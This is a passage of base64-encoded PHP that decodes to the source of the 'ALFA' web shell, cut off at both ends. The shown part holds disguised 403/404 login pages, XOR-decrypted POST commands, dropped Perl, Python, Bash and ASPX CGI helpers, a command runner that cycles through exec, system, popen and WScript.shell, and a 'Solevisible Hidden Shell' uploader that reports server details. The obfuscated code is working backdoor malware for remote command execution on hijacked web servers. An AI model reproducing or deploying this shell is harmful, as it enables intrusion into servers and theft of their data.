zc3dvcmQiXSk9PSRjb25maWdbJ0FsZmFQYXNzJ10pewpfX2FsZmFfc2V0X2Nvb2tpZSgiQWxmYVVzZXIiLCAkY29uZmlnWydBbGZhVXNlciddKTsKX19hbGZhX3NldF9jb29raWUoIkFsZmFQYXNzIiwgQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKSk7CkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU0VSVkVSWyJQSFBfU0VMRiJdKTsKfQplY2hvICI8aHRtbD48aGVhZD48dGl0bGU+NDAzIEZvcmJpZGRlbjwvdGl0bGU+PC9oZWFkPjxib2R5PjxoMT5Gb3JiaWRkZW48L2gxPjxwPllvdSBkb24ndCBoYXZlIHBlcm1pc3Npb24gdG8gYWNjZXNzICIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIiBvbiB0aGlzIHNlcnZlci48L3A+PGhyPiIuJFNFUlZFUl9TSUcuIjwvYm9keT48L2h0bWw+Ii4kRWZvcm07CmV4aXQ7Cn0KfWVsc2VpZigkY29uZmlnWydBbGZhTG9naW5QYWdlJ109PSc0MDQnKXsKaWYoQCRfQ09PS0lFWyJBbGZhUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSkpewppZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0FsZmFQYXNzJ10pewpfX2FsZmFfc2V0X2Nvb2tpZSgiQWxmYVVzZXIiLCAkY29uZmlnWydBbGZhVXNlciddKTsKX19hbGZhX3NldF9jb29raWUoIkFsZmFQYXNzIiwgQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKSk7CkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU0VSVkVSWyJQSFBfU0VMRiJdKTsKfQplY2hvICI8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+PGgxPk5vdCBGb3VuZDwvaDE+PHA+VGhlIHJlcXVlc3RlZCBVUkwgIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPGJyPjxicj5BZGRpdGlvbmFsbHksIGEgNDA0IE5vdCBGb3VuZCBlcnJvciB3YXMgZW5jb3VudGVyZWQgd2hpbGUgdHJ5aW5nIHRvIHVzZSBhbiBFcnJvckRvY3VtZW50IHRvIGhhbmRsZSB0aGUgcmVxdWVzdC48L3A+PGhyPiIuJFNFUlZFUl9TSUcuIjwvYm9keT48L2h0bWw+Ii4kRWZvcm07CmV4aXQ7Cn0KfQp9CmZ1bmN0aW9uIGRlY3J5cHRfcG9zdCgkc3RyKXsKCWlmKF9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXyl7CgkJJHB3ZCA9IF9fQUxGQV9TRUNSRVRfS0VZX187CgkJJHB3ZCAgICAgPSBfX1pXNWpiMlJsY2coJHB3ZCk7CgkJJHN0ciAgICAgPSBfX1pHVmpiMlJsY2coJHN0cik7CgkJJGVuY19jaHIgPSAiIjsKCQkkZW5jX3N0ciA9ICIiOwoJCSRpICAgICAgID0gMDsKCQl3aGlsZSAoJGkgPCBzdHJsZW4oJHN0cikpIHsKCQkJZm9yICgkaiA9IDA7ICRqIDwgc3RybGVuKCRwd2QpOyAkaisrKSB7CgkJCQkkZW5jX2NociA9IGNocihvcmQoJHN0clskaV0pIF4gb3JkKCRwd2RbJGpdKSk7CgkJCQkkZW5jX3N0ciAuPSAkZW5jX2NocjsKCQkJCSRpKys7CgkJCQlpZiAoJGkgPj0gc3RybGVuKCRzdHIpKQoJCQkJCWJyZWFrOwoJCQl9CgkJfQoJCXJldHVybiBfX1pHVmpiMlJsY2coJGVuY19zdHIpOwoJfWVsc2V7CgkJcmV0dXJuIF9fWkdWamIyUmxjZygkc3RyKTsKCX0KfQoKZnVuY3Rpb24gX0FsZmFTZWNyZXRLZXkoKXsKCSRzZWNyZXQgPSBAJF9DT09LSUVbIkFsZmFTZWNyZXRLZXkiXTsKCWlmKCFpc3NldCgkX0NPT0tJRVsiQWxmYVNlY3JldEtleSJdKSl7CgkJJHNlY3JldCA9IHVuaXFpZChtdF9yYW5kKCksIHRydWUpOwoJCV9fYWxmYV9zZXRfY29va2llKCJBbGZhU2VjcmV0S2V5IiwgJHNlY3JldCk7Cgl9CglyZXR1cm4gJHNlY3JldDsKfQpmdW5jdGlvbiBhbGZhX2dldENvbG9yKCR0YXJnZXQpewoJaWYoaXNzZXQoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl1bJHRhcmdldF0hPSIiKXsKCQlyZXR1cm4gJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XTsKCX1lbHNlewoJCSR0YXJnZXQgPSAkR0xPQkFMU1siX19BTEZBX0NPTE9SX18iXVskdGFyZ2V0XTsKCQlpZihpc19hcnJheSgkdGFyZ2V0KSl7CgkJCXJldHVybiAkdGFyZ2V0WyJrZXlfY29sb3IiXTsKCQl9ZWxzZXsKCQkJcmV0dXJuICR0YXJnZXQ7CgkJfQoJfQp9CmZ1bmN0aW9uIGFsZmFDc3NMb2FkQ29sb3JzKCl7CgkkY3NzID0gIiI7Cglmb3JlYWNoKCRHTE9CQUxTWydfX0FMRkFfQ09MT1JfXyddIGFzICRrZXkgPT4gJHZhbHVlKXsKCQlpZighaXNfYXJyYXkoJHZhbHVlKSl7CgkJCSR2YWx1ZSA9IGFsZmFfZ2V0Q29sb3IoJGtleSk7CgkJCSRjc3MgLj0gIi57JGtleX17Y29sb3I6IHskdmFsdWV9O30iOwoJCX1lbHNlewoJCQlpZihpc3NldCgkdmFsdWVbIm11bHRpX3NlbGVjdG9yIl0pKXsKCQkJCWZvcmVhY2goJHZhbHVlWyJtdWx0aV9zZWxlY3RvciJdIGFzICRrID0+ICR2KXsKCQkJCQkkY29sb3IgPSBhbGZhX2dldENvbG9yKCRrZXkpOwoJCQkJCSRjb2RlID0gc3RyX3JlcGxhY2UoIntjb2xvcn0iLCAkY29sb3IsICR2KTsKCQkJCQkkY3NzIC49ICAkay4ieyIuJGNvZGUuIn0iOwoJCQkJfQoJCQl9CgkJfQoJfQoJcmV0dXJuICRjc3M7Cn0KaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKXsKZnVuY3Rpb24gQWxmYU51bSgpewokYXJncyA9IGZ1bmNfZ2V0X2FyZ3MoKTsKJGFsZmF4ID0gYXJyYXkoKTsKJGZpbmQgPSBhcnJheSgpOwpmb3IoJGk9MTskaTw9MTA7JGkrKyl7CiRhbGZheFtdID0gJGk7Cn0KZm9yZWFjaCgkYXJncyBhcyAkYXJnKXsKJGZpbmRbXSA9ICRhcmc7Cn0KZWNobyAnPHNjcmlwdD4nOwpmb3JlYWNoKCRhbGZheCBhcyAkYWxmYSl7CmlmKGluX2FycmF5KCRhbGZhLCRmaW5kKSkKY29udGludWU7CmVjaG8gJ2FsZmEnLiRhbGZhLiJfPSI7Cn0KZWNobyAnIiI8L3NjcmlwdD4nOwp9fQpmdW5jdGlvbiBfYWxmYV9jZ2ljbWQoJGNtZCwkbGFuZz0icGVybCIsJHNldF9jb29raWU9ZmFsc2UpewoJaWYoISRHTE9CQUxTWyJEQl9OQU1FIl1bImNnaV9hcGkiXSl7CgkJcmV0dXJuICIiOwoJfQoJaWYoaXNzZXQoJF9DT09LSUVbImFsZmFjZ2lhcGlfbW9kZSJdKSl7CgkJcmV0dXJuICIiOwoJfQoJJGNtZF9wdXJlID0gJGNtZDsKCSRpc19jdXJsID0gZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsKCSRpc19zb2NrZXQgPSBmdW5jdGlvbl9leGlzdHMoJ2Zzb2Nrb3BlbicpOwoJaWYoJGlzX2N1cmx8fCRpc19zb2NrZXQpewoJCSRyZWNyZWF0ZSA9IGZhbHNlOwoJCWlmKGlzc2V0KCRfQ09PS0lFWyJhbGZhY2dpYXBpIl0pKXsKCQkJaWYoIUBmaWxlX2V4aXN0cygiYWxmYWNnaWFwaS8iLiRfQ09PS0lFWyJhbGZhY2dpYXBpIl0uIi5hbGZhIikpewoJCQkJJHJlY3JlYXRlID0gdHJ1ZTsKCQkJCSRsYW5nID0gJF9DT09LSUVbImFsZmFjZ2lhcGkiXTsKCQkJfQoJCX0KCQlpZighaXNzZXQoJF9DT09LSUVbImFsZmFjZ2lhcGkiXSl8fCRyZWNyZWF0ZSl7CgkJCUBjaGRpcihkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpOwoJCQkkcGVybCA9ICdqWkZSVDhJd0ZJWGYvUlhYT3FXTnNLb3hQbEF3UmxpRVJJYks5RVVNR2RzRkdyWXl0MklreS96dGRrTWxKajc0Y3BLZWU4NTNrOTZEZmI3T1VqNlZpaWVZUmdEUTZGZE90QXI4aUU5OUZjWlM3YTB6aEVGLzREU2IxMzZHRitjaVNhWFNRRG9ycFZIcGh0NGsyQVNONzVvdmRCeU4xVmdSSVdmVWN0eW52UGJnM0Q4NkkyOHljTHplc0ZzckFGK0IzQTFISG1GNXZBRnF5VHBZUzl3WWZmTWpvMUl4a2FJZjBwSFg3YnVWWWFSaWRZYXU1N2plNU5aeGI3eGVyV0RpU2lwb1E1WkVVbE4reEwvcXM1VUJCQXZ6QUhvQ3RnM1dnYkZ6TTN1MjVBdTBQeURqNDJNT2ZDN29iamZia2RwYlVwbXV3eGtUWldoYk82UzJ6WGppQjB0S0FsS0hCYjVUNjVReFBrZFJRdjZSa2lvdmVRWFliU0RqRXdKeUJqVEVtVlFZMHA4cFk3K1RKVndVNWJjYWx3UnhTQXFXYnk4UllyQUtjVEt0cnZNMVgyQ3dOQW1idEpJVUw0bklOcG5HbVA0VnJWRHMrNm90WGhXSzRoTT0nOwoJCQkkcHkgPSAiYlpEQlM4TXdHTVhQeTE5UjY2RXR6aFJrN0RBM0wxcnhJdE90M2dhalRiNnR3VFFKeWRleElmN3ZKcXZNaVI1Q3lIdnY5M2prOGlMdm5NMXJvWEp6d0VZcmd2WXdJUVBSR20weFlsdUI5VzEvVVZCVkxTSE5DT3daR1BRcFV6bEh2cVBhRFgxc1dGY094aU95MGJhTlpnR2tqd0lrWDZLMjFSWlNVRHRodFpwOUpJdmk5YTFZbHV2bm9ueWFQeVNUNUdXK0xKUFBqTENXZXpJVTBDM2dycElkcElrWEUyODF3TjcvTVlQc2JXT0Z3aWkrMXdwQjRUVWVERXdROXBnMzJNcVZYYWx3WWlJMmthOEw4NC81ZmpHdHh5TU9USE5JajNYWlZUdzFGdTVpTW1DTmtIenRrQXMxakU0UDNhRmZvaDAxMm9DNlNmL1d0RHpMZnRHVVNlM0NCdzRzdUU0Ry9yeU9XcWg0ZW80RThjVDBhM3VTT3JUQy9LanhORCtPL1FJPSI7CgkJCSRiYXNoID0gInJWUmRqNXBBRkgydXYrSTZER2ExSWF5YnBnOWFtclJib3B0WWJWMzYwSlFHV1JpRnlQSTVXcmVVLzk1aG9DeWpzZkZoNTJubTNuTS96dVRjSzNYVkJ6OVVIK3pNNnhESGkwQWhnRzZqa0pLUUt2UXBKaU9nNUVCVmp6NEdabWlHcUxQZWhRNzFveENjalc5dENMVytMTzROYTIrbjJWVS83d0E3UHdEaHBmNzFtODdzbjNWanV2aUVvS3NCS29FSWZrS3ZCeW1odXpTczBWMVFmck1RRnJEOGJ0MGJ5N3Y1eERxSDVjamJ4ZHpRNTRZMTArY1RZeXJDWHFYRWRrR1p3eEVLVHRMempIVlVJZEp5aVJPNWhIRjZwb1FsVUVJQ3c1T2Vnc2l4QTlnREJZKy9xWVp3UGxUVjF5b1Vzb3k0N1pmbkI2Uk1ra3UwQUdWRDRSb1VtekhKYVZIOWpjeFlqTUdOT0x3OCt6TE52bUFJV1RibFFZRWFEeTlBcFlIY3N2bnJDN0pUajRSTlJIazhqVUZHMTZPYlFqQlhCWmdWQ2VhNkk3VDZweE9UblFQT3ZXTFY0TlkrdjdwUlNQaUZRNnV3LzN3M1U1R29uL0t6QXdvM1p6NDdnUmkyN01zemJuUHNqQUFlZ3Y5TWJxSWJmYUgzUm1SNVd3WkZMWjFFTzNiMFJPcmpjZk1zbFNQbVBwbURDeXB6OE5ueWxmZDhEeDhYeHZSRitiME1oYVM0bkFiSmJJZGZNczlmMCtxbUljQURFQ2VtcnB3Y2owZk1DOHB5cnowWjI5SVl5N0xXTm5MWnh0SkFhOW1xZGlVY0MrSGwzaG9pWVBQeVlUWkRvSERsWmlyZ0xhajFJT0dzSm13S3BNZ2hqbExLM0Z1a29aV3dRY0JFZUcraUZSSUhveG1FbHY2NXRvRFY3aVE3a2o1cCtJcVBEM1llWGZnRGJFV1R0MjlBVWFyVS9XcGROeGlQT051enFIS3B2NHRUOHQ1MFVJZDFGYkJkd1dzVUxiOWFBLzRDIjsKCQkJJGFzcHggPSAialpOZGE5c3dGSWF2azE4aE5Bb09BWGRzb3pkTHlyclVLWWFSbHJpTk4wSXVGUHZFRmJVbDcwak9CMlA5N1QxU1BCbzh5blpsUytkNTMvUGg0OUhaRjNZbkNtRGZoQ29hZWhuenlUdk9JaVhXSlN3azdCSXJMRjF1UkdtQXM3UEwvb2dVY1ZWcnRHd21LakMxeUNpZUhJeUZLa3hoSFQ3RTdqSFJ5cUl1emI4MTExSVVTaHNycy8rQTQxdlBFTlR2R1l0U0ZTeXJjalptYy9qWmdMSGhWR08xNUhUSFY1OWZrVWZJbnY2RzNLM0g1Q1pva1RIajZjZlpkbjJ6K0NDK3orb2YxYjdjVk5PZFdMd2Y4OEd2ZnErM1BsaFlybGd1ckNERHRpcHFkZ3RJdnFpcnI4TEF4YWZFSnc2b2pnSDU5NDQxdHZROTdHMTRsVXppT0ZLWnpvazduc0lic0szTzJaT1FsSGVvTXpDRzFhUlhzR1B0T2ZDMmRVaWZCMjJzTmpxY0lOQ1htdWxVcWx6dmlMYllRQmVheWhMY1VDbnNaaFRDSG5pWHVjS2lxVUJaNDZEempIRTJkRFB1WWc4R2trY295MmdQV1dPZG85K1JMamFIWENKazFKaFF1Y0Q4dHJGMVk5OG9yd3RIaUJyZllGT05UelNxYXkvUWVQRFZuallUSEFmWXJvRCtrOWRIVDBxaHBDSy8xNUhLZ3dGMStocjJ5VStqem50Tys2aVZnVEJGYVNIZ1M2TkwyRW9qNlhkNUZyVmNqV3FFU3o0OHBodnkwYmsvTyszdlBpM3VDdz09IjsKCQkJaWYoJGxhbmc9PSJwZXJsIikkc291cmNlID0gJHBlcmw7ZWxzZWlmKCRsYW5nPT0icHkiKSRzb3VyY2UgPSAkcHk7ZWxzZSAkc291cmNlID0gJGJhc2g7CgkJCWlmKCRsYW5nID09ICJhc3B4Iil7CgkJCQlhbGZhV3JpdGVUb2NnaWFwaSgiYXNweC5hc3B4IiwkYXNweCk7CgkJCX1lbHNlewoJCQkJYWxmYVdyaXRlVG9jZ2lhcGkoJGxhbmcuIi5hbGZhIiwkc291cmNlKTsKCQkJfQoJCQlhbGZhY2dpaHRhY2Nlc3MoJ2NnaScsICJhbGZhY2dpYXBpLyIpOwoJCX1lbHNlewoJCQkkbGFuZyA9ICRfQ09PS0lFWyJhbGZhY2dpYXBpIl07CgkJfQoJCSRjZ2lfZXh0ID0gIi5hbGZhIjsKCQlpZigkbGFuZz09ImFzcHgiKXsKCQkJJGNnaV9leHQgPSAiLmFzcHgiOwoJCX0KCQkkY2dpX3VybCA9IF9fQUxGQV9EQVRBX0ZPTERFUl9fLiIvYWxmYWNnaWFwaS8iLiRsYW5nLiRjZ2lfZXh0OwoJCSRjbWQgPSAiY2hlY2s9VzNOdmJHVjJhWE5wWW14bGZtRndhVjA9JmNtZD0iLl9fWlc1amIyUmxjZygiY2QgIi4kR0xPQkFMU1snY3dkJ10uIjsiLiRjbWQpOwoJCWlmKCRpc19jdXJsKXsKCQkJJGFkZHJlc3MgPSAoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gImh0dHBzOi8vIiA6ICJodHRwOi8vIikuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uZGlybmFtZSgkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIi8iLiRjZ2lfdXJsOwoJCQkkcG9zdCA9IG5ldyBBbGZhQ1VSTCgpOwoJCQkkZGF0YSA9ICRwb3N0LT5TZW5kKCRhZGRyZXNzLCAicG9zdCIsICRjbWQpOwoJCX1lbHNlaWYoJGlzX3NvY2tldCl7CgkJCSRzZXJ2ZXIgPSAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXTsKCQkJJHVyaSA9IGRpcm5hbWUoJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0pLiIvIi4kY2dpX3VybDsKCQkJJGRhdGEgPSBfYWxmYV9mc29ja29wZW4oJHNlcnZlciwkdXJpLCRjbWQpOwoJCX0KCQkkb3V0ID0gIiI7CgkJaWYoc3RycG9zKCRkYXRhLCAiW3NvbGV2aXNpYmxlfmFwaV0iKSAhPT0gZmFsc2UgJiYgc3RycG9zKCRkYXRhLCAnW3NvbGV2aXNpYmxlfmFwaV08cHJlPiIrb3V0cHV0KyI8L3ByZT4nKSA9PT0gZmFsc2UpewoJCQlpZigkc2V0X2Nvb2tpZSl7CgkJCQlfX2FsZmFfc2V0X2Nvb2tpZSgiYWxmYWNnaWFwaSIsICRsYW5nKTsKCQkJfQoJCQlpZihAcHJlZ19tYXRjaCgiLzxwcmU+KC4qPyk8XC9wcmU+L3MiLCAkZGF0YSwgJHJlcykpewoJCQkJJG91dCA9ICRyZXNbMV07CgkJCX0KCQl9ZWxzZWlmKCRsYW5nPT0icGVybCIpewoJCQlyZXR1cm4gX2FsZmFfY2dpY21kKCRjbWRfcHVyZSwicHkiLCRzZXRfY29va2llKTsKCQl9ZWxzZWlmKCRsYW5nPT0icHkiKXsKCQkJcmV0dXJuIF9hbGZhX2NnaWNtZCgkY21kX3B1cmUsImJhc2giLCRzZXRfY29va2llKTsKCQl9ZWxzZWlmKCRsYW5nPT0iYmFzaCIgJiYgJEdMT0JBTFNbJ3N5cyddPT0id2luIil7CgkJCXJldHVybiBfYWxmYV9jZ2ljbWQoJGNtZF9wdXJlLCJhc3B4Iiwkc2V0X2Nvb2tpZSk7CgkJfWVsc2V7CgkJCWlmKCRzZXRfY29va2llKXsKCQkJCV9fYWxmYV9zZXRfY29va2llKCJhbGZhY2dpYXBpX21vZGUiLCAib2ZmIik7CgkJCX0KCQl9CgkJcmV0dXJuIHRyaW0oJG91dCk7Cgl9ZWxzZXsKCQlyZXR1cm4gIiI7Cgl9Cn0KZnVuY3Rpb24gYWxmYUdldEN3ZCgpewoJaWYoZnVuY3Rpb25fZXhpc3RzKCJnZXRjd2QiKSl7CgkJcmV0dXJuIEBnZXRjd2QoKTsKCX1lbHNlewoJCXJldHVybiBkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7Cgl9Cn0KZnVuY3Rpb24gYWxmYUV4KCRpbiwkcmU9ZmFsc2UsJGNnaT10cnVlLCRhbGw9ZmFsc2UpewoJJGRhdGEgPSBfYWxmYV9waHBfY21kKCRpbiwkcmUpOwoJaWYoZW1wdHkoJGRhdGEpJiYkY2dpfHwkYWxsKXsKCQlpZigkR0xPQkFMU1snc3lzJ109PSd1bml4Jyl7CgkJCWlmKHN0cmxlbihfYWxmYV9waHBfY21kKCJ3aG9hbWkiKSk9PTB8fCRhbGwpewoJCQkJJGNtZCA9IF9hbGZhX2NnaWNtZCgkaW4pOwoJCQkJaWYoIWVtcHR5KCRjbWQpKXsKCQkJCQlyZXR1cm4gJGNtZDsKCQkJCX0KCQkJfQoJCX0KCX0KCXJldHVybiAkZGF0YTsKfQpmdW5jdGlvbiBfYWxmYV9waHBfY21kKCRpbiwkcmU9ZmFsc2Upewokb3V0PScnOwp0cnl7CmlmKCRyZSkkaW49JGluLiIgMj4mMSI7CmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXsKQGV4ZWMoJGluLCRvdXQpOwokb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsKfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKb2Jfc3RhcnQoKTsKQHBhc3N0aHJ1KCRpbik7CiRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXsKb2Jfc3RhcnQoKTsKQHN5c3RlbSgkaW4pOwokb3V0ID0gb2JfZ2V0X2NsZWFuKCk7Cn0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewokb3V0ID0gc2hlbGxfZXhlYygkaW4pOwp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygicG9wZW4iKSYmZnVuY3Rpb25fZXhpc3RzKCJwY2xvc2UiKSl7CmlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSl7CiRvdXQgPSAiIjsKd2hpbGUoIUBmZW9mKCRmKSkKJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKcGNsb3NlKCRmKTsKfQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpewokcGlwZXMgPSBhcnJheSgpOwokcHJvY2VzcyA9IEBwcm9jX29wZW4oJGluLicgMj4mMScsIGFycmF5KGFycmF5KCJwaXBlIiwidyIpLCBhcnJheSgicGlwZSIsInciKSwgYXJyYXkoInBpcGUiLCJ3IikpLCAkcGlwZXMsIG51bGwpOwokb3V0PUBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7Cn1lbHNlaWYoY2xhc3NfZXhpc3RzKCdDT00nKSl7CiRhbGZhV3MgPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7CiRleGVjID0gJGFsZmFXcy0+ZXhlYygnY21kLmV4ZSAvYyAnLiRfUE9TVFsnYWxmYTEnXSk7CiRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7CiRvdXQ9JHN0ZG91dC0+UmVhZEFsbCgpOwp9Cn1jYXRjaChFeGNlcHRpb24gJGUpe30KcmV0dXJuICRvdXQ7Cn0KZnVuY3Rpb24gX2FsZmFfZnNvY2tvcGVuKCRzZXJ2ZXIsJHVyaSwkcG9zdCl7Cgkkc29ja2V0ID0gQGZzb2Nrb3Blbigkc2VydmVyLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxNSk7CglpZigkc29ja2V0KXsKCQkkaHR0cCAgPSAiUE9TVCB7JHVyaX0gSFRUUC8xLjBcclxuIjsKCQkkaHR0cCAuPSAiSG9zdDogeyRzZXJ2ZXJ9XHJcbiI7CgkJJGh0dHAgLj0gIlVzZXItQWdlbnQ6ICIgLiAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gLiAiXHJcbiI7CgkJJGh0dHAgLj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7CgkJJGh0dHAgLj0gIkNvbnRlbnQtbGVuZ3RoOiAiIC4gc3RybGVuKCRwb3N0KSAuICJcclxuIjsKCQkkaHR0cCAuPSAiQ29ubmVjdGlvbjogY2xvc2VcclxuXHJcbiI7CgkJJGh0dHAgLj0gJHBvc3QgLiAiXHJcblxyXG4iOwoJCWZ3cml0ZSgkc29ja2V0LCAkaHR0cCk7CgkJJGNvbnRlbnRzID0gIiI7CgkJd2hpbGUgKCFAZmVvZigkc29ja2V0KSkgewoJCQkkY29udGVudHMgLj0gQGZnZXRzKCRzb2NrZXQsIDQwOTYpOwoJCX0KCQlsaXN0KCRoZWFkZXIsICRib2R5KSA9IGV4cGxvZGUoIlxyXG5cclxuIiwgJGNvbnRlbnRzLCAyKTsKCQlAZmNsb3NlKCRzb2NrZXQpOwoJCXJldHVybiAkYm9keTsKCX1lbHNlewoJCXJldHVybiAiIjsKCX0KfQppZihpc3NldCgkX0dFVFsic29sZXZpc2libGUiXSkpewpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOwplY2hvICc8aHRtbD4nOwplY2hvICI8dGl0bGU+U29sZXZpc2libGUgSGlkZGVuIFNoZWxsPC90aXRsZT4iOwplY2hvICI8Ym9keSBiZ2NvbG9yPSMwMDAwMDA+IjsKZWNobyAnPGI+PGJpZz48Zm9udCBjb2xvcj0jN0NGQzAwPktlcm5lbCA6IDwvZm9udD48Zm9udCBjb2xvcj0iI0ZGRkZGIj4nLihmdW5jdGlvbl9leGlzdHMoJ3BocF91bmFtZScpP3BocF91bmFtZSgpOic/Pz8nKS4nPC9mb250PjwvYj48L2JpZz4nOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZigkc2FmZV9tb2RlKXskciA9ICI8YiBzdHlsZT0nY29sb3I6IHJlZCc+T248L2I+Ijt9ZWxzZXskciA9ICI8YiBzdHlsZT0nY29sb3I6IGdyZWVuJz5PZmY8L2I+Ijt9CmVjaG8gIjxicj48YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPk9TOiA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+IiAuIFBIUF9PUyAuICI8L2ZvbnQ+PGJyPiI7CmVjaG8gIjxiIHN0eWxlPSdjb2xvcjogIzdDRkMwMCc+U29mdHdhcmU6IDwvZm9udD48Zm9udCBjb2xvcj13aGl0ZT4iIC4gJF9TRVJWRVIgWydTRVJWRVJfU09GVFdBUkUnXSAuICI8L2ZvbnQ+PGJyPiI7CmVjaG8gIlBIUCBWZXJzaW9uOiA8Zm9udCBjb2xvcj13aGl0ZT4iIC4gUEhQX1ZFUlNJT04gLiAgIjwvZm9udD48YnIgLz4iOwplY2hvICJQV0Q6PGZvbnQgY29sb3I9I0ZGRkZGRj4gIiAuIHN0cl9yZXBsYWNlKCJcXCIsIi8iLEBhbGZhR2V0Q3dkKCkpIC4gIi88YnIgLz4iOwplY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPlNhZmUgTW9kZSA6ICRyPGJyPiI7CmVjaG8iPGZvbnQgY29sb3I9IzdDRkMwMD5EaXNhYmxlIGZ1bmN0aW9ucyA6IDwvZm9udD4iOwokZGlzZnVuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CmlmKGVtcHR5KCRkaXNmdW4pKXskZGlzZnVuID0gJzxmb250IGNvbG9yPSJncmVlbiI+Tk9ORTwvZm9udD4nO30KZWNobyI8Zm9udCBjb2xvcj1yZWQ+IjsKZWNobyAiJGRpc2Z1biI7CmVjaG8iPC9mb250Pjxicj4iOwplY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPllvdXIgSXAgQWRkcmVzcyBpcyA6ICA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+IiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIjwvZm9udD48YnI+IjsKZWNobyAiPGIgc3R5bGU9J2NvbG9yOiAjN0NGQzAwJz5TZXJ2ZXIgSXAgQWRkcmVzcyBpcyA6ICA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+Ii4oZnVuY3Rpb25fZXhpc3RzKCdnZXRob3N0YnluYW1lJyk/QGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKTonPz8/JykuIjwvZm9udD48YnI+PHA+IjsKZWNobyAnPGhyPjxjZW50ZXI+PGZvcm0gb25TdWJtaXQ9InRoaXMudXBsb2FkLmRpc2FibGVkPXRydWU7dGhpcy5jd2QudmFsdWUgPSBidG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudCh0aGlzLmN3ZC52YWx1ZSkpKTsiIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJ0NXRDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImN3ZCIgdmFsdWU9Iicuc3RyX3JlcGxhY2UoIlxcIiwiLyIsQGFsZmFHZXRDd2QoKSkuJy8iIHNpemU9IjU5Ij48cD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNDUiPjxpbnB1dCBuYW1lPSJ1cGxvYWQiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYoaXNzZXQoJF9GSUxFU1snZmlsZSddKSl7CmlmKEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCBfX1pHVmpiMlJsY2coQCRfUE9TVFsnY3dkJ10pLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpe2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj48L2NlbnRlcj4nOyB9CmVsc2V7ZWNobyAnPGNlbnRlcj48Yj48Zm9udCBjb2xvcj0iIzdDRkMwMCI+VXBsb2FkIGZhaWxlZCA6KDwvZm9udD48L2E+PGZvbnQgY29sb3I9IiM3Q0ZDMCI+PC9iPjwvY2VudGVyPjxicj48YnI+JzsgfQp9CmVjaG8gJzxocj48Zm